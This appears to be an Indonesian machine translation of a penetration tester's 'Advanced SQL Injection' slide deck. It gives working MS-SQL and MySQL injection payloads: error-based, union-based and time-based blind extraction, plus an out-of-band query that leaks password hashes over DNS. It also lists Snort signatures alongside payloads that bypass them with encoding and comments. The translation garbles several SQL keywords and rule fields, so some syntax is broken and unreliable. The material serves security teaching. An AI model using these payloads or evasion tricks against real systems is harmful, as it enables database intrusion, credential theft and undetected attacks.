Machine Translated by Google
Injeksi SQL Tingkat Lanjut
Dipersembahkan oleh:
Joe McCray
joe@[Link]
[Link]
[Link]
Machine Translated by Google
Joe McCray.... Siapa kamu?
Yang Terakhir dari Breed yang Mati
Penguji Penetrasi Jaringan
Anda tahu – tipe pria nmap, exploit, upload netcat.
alias:
Orang kulit hitam di konferensi keamanan
Machine Translated by Google
Bagaimana Saya Melempar...
• saya meretas
• aku mengutuk
•
SAYA MINUM (Rum & Coke)
Machine Translated by Google
Saya Akan Mempelajari Anda SQL Injection
Identifikasi – Cara menemukan SQLI
Metodologi Serangan – Proses dan sintaks yang saya gunakan
Tidak Tertangkap – Bagaimana melakukannya tanpa ketahuan
Machine Translated by Google
3 Kelas SQLI
SQL Injection dapat dipecah menjadi 3 kelas
Inband - data diekstraksi menggunakan saluran yang sama yang digunakan untuk menyuntikkan kode SQL.
Ini adalah jenis serangan yang paling mudah, di mana data yang diambil disajikan langsung di halaman
web aplikasi
Out-of-Band - data diambil menggunakan saluran yang berbeda (misalnya: email dengan hasil kueri dibuat dan
dikirim ke penguji)
Inferensial - tidak ada transfer data yang sebenarnya, tetapi penguji dapat merekonstruksi informasi
dengan mengirimkan permintaan tertentu dan mengamati perilaku yang dihasilkan dari situs web/Server DB.
Machine Translated by Google
Masuk:
Data diekstraksi menggunakan saluran yang sama yang digunakan untuk menyuntikkan
kode SQL.
Ini adalah jenis serangan yang paling mudah, di mana data yang diambil disajikan langsung
di halaman web aplikasi
Jadi ini adalah Injeksi SQL Berbasis Kesalahan dan Berbasis Serikat kami
[Link] atau 1=convert(int,(USER))--
Kesalahan sintaks mengubah nilai nvarchar '[j0e]' ke kolom tipe data int.
Machine Translated by Google
Di luar band:
Data diambil menggunakan saluran yang berbeda (misalnya: email dengan
hasil kueri dibuat dan dikirim ke penguji).
Ini adalah cara lain untuk mengeluarkan data dari server (seperti http, atau dns).
[Link] @host varchar(800); pilih @host = nama
+ '-' + [Link].fn_varbintohexstr(password_hash) + '.[Link]' dari
sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\[Link]''');--
Machine Translated by Google
Inferensial:
Jika aplikasi mengembalikan pesan kesalahan yang dihasilkan oleh kueri yang
salah, maka mudah untuk merekonstruksi logika kueri asli dan oleh karena itu
memahami cara melakukan injeksi dengan benar.
Namun, jika aplikasi menyembunyikan detail kesalahan, maka penguji harus
dapat merekayasa balik logika kueri asli.
Kasus terakhir ini dikenal sebagai "Blind SQL Injection".
[Link]
Tanyakan apakah itu berjalan sebagai 'sa'
Machine Translated by Google
Mengapa 1=1 atau A=A?
Katakanlah Anda memiliki tabel nama pengguna dan kata sandi:
Nama belakang Kata sandi
admin kata sandi
Jim Balok
Johnny Pejalan
Machine Translated by Google
Mengapa 1=1 atau A=A?
Katakanlah Anda memiliki beberapa kode untuk login situs web Anda
Nama belakang Kata sandi
admin kata sandi
Jim Balok
Johnny Pejalan
if ($un dan $pw):
Gabung
kalau tidak
login ditolak
Machine Translated by Google
Mengapa 1=1 atau A=A?
Katakanlah Anda memiliki beberapa kode untuk login situs web Anda
Nama belakang Kata sandi
admin kata sandi
Jim Balok
Johnny Pejalan
if ($un atau 1=1 dan $pw atau 1=1):
Gabung
kalau tidak
login ditolak
Machine Translated by Google
Ada Manajer Proyek di Rumah?
Machine Translated by Google
Bagaimana Dengan Alat????
Alat otomatis adalah cara yang bagus untuk mengidentifikasi SQLI......
Ya mereka ...... hanya sadar akan Jenis Injeksi SQL yang berbeda ....
Machine Translated by Google
Pemindai SQL Vuln
Jadi mari kita mulai dengan beberapa alat yang dapat Anda gunakan untuk mengidentifikasi SQLI juga
jenis yang umumnya mereka identifikasi.
[Link] (berdasarkan kesalahan)
wpoison sqlmap (berdasarkan kesalahan)
wapiti (buta secara default, dan serikat jika Anda tentukan)
(berdasarkan kesalahan)
w3af (kesalahan, buta)
hari (kesalahan, buta)
cumi-cumi (kesalahan)
Joe, saya muak dengan omong kosong ini, apa yang Anda maksud dengan berbasis kesalahan, buta, dan persatuan?
Machine Translated by Google
Jenis Injeksi SQL
Injeksi SQL Berbasis Kesalahan
Injeksi SQL Berbasis Serikat
Injeksi SQL Buta
Kesalahan:
Mengajukan pertanyaan kepada DB yang akan menyebabkan kesalahan, dan mengumpulkan informasi dari
kesalahan.
Persatuan:
SQL UNION digunakan untuk menggabungkan hasil dari dua atau lebih SELECT SQL
pernyataan menjadi satu hasil. Sangat berguna untuk SQL Injection :)
Buta:
Mengajukan pertanyaan benar/salah kepada DB dan menggunakan apakah halaman yang valid dikembalikan atau tidak, atau
dengan menggunakan waktu yang dibutuhkan halaman valid Anda untuk kembali sebagai jawaban atas pertanyaan tersebut.
Machine Translated by Google
Metodologi saya
Bagaimana saya menguji SQL Injection
Mengenali
* Identifikasi Injeksi (Alat atau Manual)
*
Tentukan Jenis Injeksi (Bilangan bulat atau String)
Menyerang
*
Injeksi SQL Berbasis Kesalahan (Termudah)
*
Injeksi SQL Berbasis Serikat (Bagus untuk ekstraksi data)
*
Injeksi SQL Buta (Kasus terburuk .... pilihan terakhir)
Machine Translated by Google
Mengapa Fokus Pada Pengujian Manual
Sekarang setelah Anda memahami bahwa ada 3 jenis utama SQL Injection....
- Dapatkah Anda memahami mengapa dapat menguji SQLI secara manual itu penting?
- SQL Injection Scanner umumnya akan mencari 1 jenis injeksi.....
- Pemindai mungkin memberi tahu Anda bahwa situs tersebut tidak rentan padahal sebenarnya.
Machine Translated by Google
Tentukan Jenis Injeksi
Apakah ini berbasis integer atau string?
Integer Integer:
[Link] memiliki 1=1--
Kolom '[NAMA KOLOM]' tidak valid dalam daftar pilihan karena tidak
terdapat dalam fungsi agregat dan tidak ada klausa GROUP BY.
Injeksi String:
[Link] memiliki 1=1--
Kolom '[NAMA KOLOM]' tidak valid dalam daftar pilihan karena tidak
terdapat dalam fungsi agregat dan tidak ada klausa GROUP BY.
'
atau tidak.
Menentukan inilah yang menentukan apakah Anda membutuhkan
Machine Translated by Google
Mari kita mulai dengan sintaks MS-SQL
Saya akan mengatakan bahwa MS-SQL Injection mungkin yang paling menyenangkan ;)
Selalu ada kemungkinan untuk mendapatkan akses ke prosedur tersimpan
seperti xp_cmdshell
.......muahahahahahahahahahaha
Kami akan menghabiskan sedikit waktu di MySQL, dan tidak terlalu banyak waktu di
Oracle karena sintaks injeksinya cukup mirip dengan MS-SQL. Tapi terutama demi waktu
kita akan fokus pada MS-SQL.
Machine Translated by Google
Sintaks Injeksi SQL Berbasis Kesalahan
untuk mengekstrak USER
[Link] atau 1=convert(int,(USER))--
Kesalahan sintaks mengubah nilai nvarchar '[DB USER]' ke kolom tipe data int.
Ambil pengguna database dengan USER
Ambil nama database dengan DB_NAME
Ambil nama server dengan @@namaserver
Dapatkan versi Windows/OS dengan @@version
Machine Translated by Google
Sintaks Injeksi SQL Berbasis Serikat untuk mengekstrak USER
[Link] UNION SELECT ALL 1--
Semua kueri dalam pernyataan SQL yang berisi operator UNION harus memiliki jumlah
ekspresi yang sama dalam daftar targetnya.
[Link] UNION SELECT ALL 1,2--
Semua kueri dalam pernyataan SQL yang berisi operator UNION harus memiliki jumlah
ekspresi yang sama dalam daftar targetnya.
[Link] UNION SELECT ALL 1,2,3--
Semua kueri dalam pernyataan SQL yang berisi operator UNION harus memiliki jumlah
ekspresi yang sama dalam daftar targetnya.
[Link] UNION PILIH SEMUA 1,2,3,4--
TIDAK ADA KESALAHAN
[Link] UNION SELECT ALL 1,USER,3,4--
Machine Translated by Google
Sintaks Injeksi SQL Buta untuk mengekstrak PENGGUNA
3 - Jumlah Karakter
[Link] JIKA (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
Halaman yang valid segera kembali
[Link] JIKA (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
Halaman yang valid segera kembali
[Link] JIKA (LEN(USER)=3) WAITFOR DELAY '00:00:10'--
Halaman yang valid kembali setelah penundaan 10 detik
Machine Translated by Google
Machine Translated by Google
Sintaks Injeksi SQL Buta untuk mengekstrak PENGGUNA
D - Karakter Pertama
[Link] JIKA (ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10'
Halaman yang valid segera kembali
[Link] JIKA (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
Halaman yang valid segera kembali
[Link] JIKA (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
Halaman yang valid segera kembali
[Link] JIKA (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- Halaman
yang valid kembali setelah penundaan 10 detik
Machine Translated by Google
Sintaks Injeksi SQL Buta untuk mengekstrak PENGGUNA
B - Karakter ke-2
[Link] JIKA (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY
'00:00:10'-- Halaman yang valid segera kembali
[Link] JIKA (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 detik)
Halaman yang valid kembali setelah penundaan 10 detik
Machine Translated by Google
Sintaks Injeksi SQL Buta untuk mengekstrak PENGGUNA
O - Karakter ke-3
[Link] JIKA (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Halaman yang valid segera
kembali
[Link] JIKA (ASCII(lower(substring((USER),3,1)))>98) WAITFOR DELAY '00:00:10'--
Halaman yang valid segera kembali
.....dan seterusnya
[Link] JIKA (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--
Halaman yang valid kembali setelah penundaan 10 detik
Pengguna Basis Data = DBO
Machine Translated by Google
Mari kita beralih ke sintaks MySQL
Dengan MySQL Anda benar-benar hanya memiliki:
* Berbasis Serikat
* Buta
Machine Translated by Google
MySQL
Dengan MySQL Anda biasanya akan menggunakan SQL Injection union atau true/false
blind sehingga Anda benar-benar perlu tahu banyak tentang DB yang Anda serang seperti:
* jumlah kolom
* nama kolom
*
jalan ke situs web
Jadi, Anda perlu menghitung informasi ini terlebih dahulu.
Operator UNION digunakan untuk menggabungkan kumpulan hasil dari dua atau lebih
pernyataan SELECT. Perhatikan bahwa setiap pernyataan SELECT dalam UNION harus me
jumlah kolom yang sama. Kolom juga harus memiliki tipe data yang serupa.
Juga, kolom di setiap pernyataan SELECT harus dalam urutan yang sama.
Machine Translated by Google
Pencacahan nomor kolom
[Link] order by 10/* <- memberikan kolom '10' yang tidak diketahui di
'order clause'
[Link] order sebelum 5/* <- memberikan halaman yang valid
[Link] order by 6/* <- memberikan kolom Unknown '6' di 'order clause'
Jadi sekarang kita tahu ada 5 kolom.
Omong-omong, Anda juga dapat melakukan ini dengan MSSQL.
Machine Translated by Google
Membangun serikat
[Link] union all pilih 1,2,3,4,5/* <-- memberikan halaman yang valid
Ubah bagian pertama kueri ke nilai nol atau negatif sehingga kami dapat melihat bidang apa yang
akan mengembalikan data kepada kami.
[Link] union all select 1,2,3,4,5/* <-- memberikan halaman yang valid tetapi dengan
nomor 2, dan 3 di atasnya
atau
[Link] union all select 1,2,3,4,5/* <- memberikan halaman yang valid tetapi
dengan nomor 2, dan 3 di atasnya
Sekarang kita tahu bahwa kolom nomor 2 dan 3 akan menggemakan data kembali kepada kita.
Machine Translated by Google
Membangun serikat
[Link] union semua pilih 1,2,3,4,5,6,7/*
[Link] union semua pilih 1,2,user(),4,5,@@version,7/ *
Machine Translated by Google
Pengumpulan Informasi
[Link] union semua pilih 1,user(),3,4,5/
* [Link] union semua pilih 1 ,2,database(),4,5/
* [Link] union semua pilih 1,@@version,@@datadir,4,5/ *
Ambil pengguna basis data dengan pengguna ()
Ambil nama database dengan database()
Ambil versi database dengan @@version
Ambil direktori data database dengan @@datadir
Machine Translated by Google
Tidak Tertangkap
Machine Translated by Google
Filter Evasion
Saya tahu bahwa orang sering berpikir hal ini sangat hitam dan putih, dipotong dan kering -
tetapi kebenaran sederhana dengan injeksi sql kadang-kadang Anda hanya memiliki firasat
bahwa Anda sedang melihat halaman yang rentan.
Anda telah mencoba banyak hal tetapi untuk beberapa alasan sepertinya tidak ada yang berhasil.
Anda mungkin menghadapi semacam penyaringan. Mungkin pengembang telah mencoba
menghentikan injeksi sql dengan hanya mengizinkan karakter alfanumerik sebagai input.
Machine Translated by Google
Penyaringan Sisi Klien
Hal pertama yang ingin kita lakukan adalah menentukan apakah pemfilteran adalah sisi klien (mis:
dilakukan dengan javascript).
Lihat kode sumber dan cari parameter apa pun yang diteruskan ke situs web yang dapat difilter
dengan javascript/vbscript dan hapus
- Simpan halaman secara lokal dan hapus javascript/vbscript yang menyinggung
atau
- Gunakan proxy lokal (mis: Paros, Webscarab, Burp Suite)
Machine Translated by Google
Daftar Hitam Terbatas
Filter Alfanumerik sisi server
[Link] atau 1 suka 1
Di sini kita melakukan “atau benar”, meskipun kali ini kita menggunakan
perbandingan “suka” alih-alih tanda “=”. Kita bisa menggunakan teknik yang sama
untuk varian lain seperti “and 1 like 1” atau “and 1 like 2”
[Link] dan 1 suka 1
[Link] dan 1 suka 2
Machine Translated by Google
IDS Berbasis Tanda Tangan
Kunci penghindaran IDS/IPS adalah mengetahui bahwa ada satu di tempat.
Dengan IPS Anda dapat menggunakan sesuatu seperti Deteksi Filter Aktif atau Anda dapat mencoba
sesuatu yang BENAR-BENAR berisik dari alamat IP lain untuk melihat apakah IP Anda diblokir.
Bergantung pada ruang lingkup keterlibatan Anda, Anda mungkin atau mungkin tidak benar-benar dapat
mengidentifikasi kapan IDS digunakan karena sifatnya pasif.
Sejujurnya saya menemukan sisi rumah ini menjadi lebih banyak bukti konsep, dan hanya bersenang-
senang sebagai lawan dari sesuatu yang sebenarnya saya butuhkan dalam penilaian.
Machine Translated by Google
Machine Translated by Google
IDS Berbasis Tanda Tangan (1)
Signature 1
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection upaya”; aliran: to_server,
“'
didirikan; konten: atau 1=1 --”; tidak ada kasus; sisi: 1; rev:1;)
Teknik Bypass: http://
[site]/[Link]?id=2 or 2=2-- [Link]
[Link]?id=2 or 1<2-- [Link] site]/
[Link]?id=2 atau 1 like 1-- [Link]
[Link]?id=2 /**/or /**/2/**/=/**/ 2-- .... ayo semuanya
sebutkan lagi
Tanda Tangan Negatif -
Memiliki ' di tanda tangan akan menyebabkan Anda melewatkan serangan yang tidak
menggunakan ' - 1=1 bukan satu-satunya cara untuk membuat kueri yang mengembalikan "benar" (mis: 2=2, 1
Jika tanda tangan ini begitu mudah dilewati, untuk apa sebenarnya itu?
Menjawab:
Ini bagus untuk alat otomatis dan anak-anak
Machine Translated by Google
IDS Berbasis Tanda Tangan (Pendapat Saya)
Machine Translated by Google
IDS Berbasis Tanda Tangan (2)
Signature 2
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection upaya”; flow: to_server,
didirikan; pcre: “/(dan|atau) 1=1 (\-\-|\/\*| \#)/i”; sid: 1; rev:2;)
Teknik Bypass: http://
[site]/[Link]?id=2 or 2=2%2D%2D [Link]
[Link]?id=2 or 1<2%2D%2D http ://[site]/[Link]?
id=2 atau 1 suka 1%2D%2D [Link] /**/
or /**/2/** /=/**/2%2D%2D .... ayo semuanya sebutkan lagi
Tanda Tangan Negatif -
1=1 bukan satu-satunya cara untuk membuat kueri yang mengembalikan "benar" (mis: 2=2, 1<2, dll)
- Komentar seperti hampir semua hal lain dapat direpresentasikan dalam jenis pengkodean lain (mis:
(%2D%2D = --)
- Ada kemungkinan untuk menyerang kerentanan injeksi sql tanpa menggunakan komentar Jika
tanda tangan ini begitu mudah dilewati, apa gunanya sebenarnya?
Menjawab:
Sekali lagi, ini bagus untuk alat otomatis dan anak-anak
Machine Translated by Google
Signature 3-5
IDS Berbasis Tanda Tangan (3-5)
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”;
flow: to_server, didirikan; pcre:”/select.*from.*(\-\-|\/\* |\#)/i”; sid: 2; rev: 1;)
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “pernyataan SQL Injection
UNION”; aliran: to_server, didirikan; pcre:”/union.*(\-\-|\/\*|\#)/i” ; sid: 3; putaran: 1;)
Teknik Bypass: http://
[site]/[Link]?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D
[Link] atau 2 in (pilih pengguna)--
[Link] %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201 ,2,3,(%73%65%6C
%65%63%74%20%75%73%655%72),5,6,7%2D%2D
[Link] UNION ALL pilih 1,2,3,(pilih pengguna),5,6,7--
.... ayo semuanya sebutkan lagi
Tanda Tangan Negatif
- Meskipun sigs 3-5 jauh lebih baik, mereka tidak menganggap penyerang dapat menggunakan jenis pengkodean yang berbeda seperti hex
Machine Translated by Google
IDS Berbasis Tanda Tangan (6-7)
Signature 6
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, map; pcre:”/(s|%73)(e|%65)(l|
%6C) (e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(\-\ -|\/\*|\#)/i”; sid: 2; rev2;)
Signature 7
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, map; pcre:”/(s|%73|%53)(e|
%65|%45) (l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r| %72|%52)(o| %6F|%4F)(m|%6D|%4D).*(\-\-|\/\*|\#)/i”; sid: 2; rev: 3 ;)
Setidaknya tanda tangan 7 memperhitungkan sensitivitas huruf besar/kecil dengan pengkodean hex.
Tetapi.....
Selalu ada jenis penyandian lain yang dapat digunakan penyerang...
Machine Translated by Google
Latih Kung Fu Anda: PHPIDS
Machine Translated by Google
Latih Kung Fu Anda: PHPIDS
Machine Translated by Google
IDS Berbasis Tanda Tangan
Trik sebenarnya untuk masing-masing teknik ini adalah untuk memahami bahwa ini seperti penghindaran IDS
di sisi eksploitasi berbasis layanan rumah.
Anda harus memastikan bahwa serangan Anda benar-benar berfungsi. Sangat mudah untuk melewati IDS, tetapi
Anda dapat dengan mudah berakhir dengan serangan Anda melewati IDS, tetapi tidak berfungsi sama sekali.
Dengan mengingat hal ini, Anda dapat mencampur/mencocokkan trik penghindaran IDS - ini hanya masalah
memahami regex yang digunakan.
[Link]
%6C/*mudah*/%65/*hanya*/%63/*minta*/%74/*j0e*/%20%75/*kepada*/%73/*ajar*/%65/*kamu* /
%72/*bagaimana*/)%2D%2D
Apa yang diteruskan ke db
[Link] atau 2 in (pilih pengguna)--
dalam komentar ("Penghindaran IDS itu mudah, minta saja j0e untuk mengajari Anda caranya")
Machine Translated by Google
Halo @ Saya....
Anda ingin presentasi?????
Belikan saya rum dan coke atau email saya....
Anda dapat menghubungi saya di:
Surel: joe@[Link]
Twitter: [Link]
LinkedIn: [Link]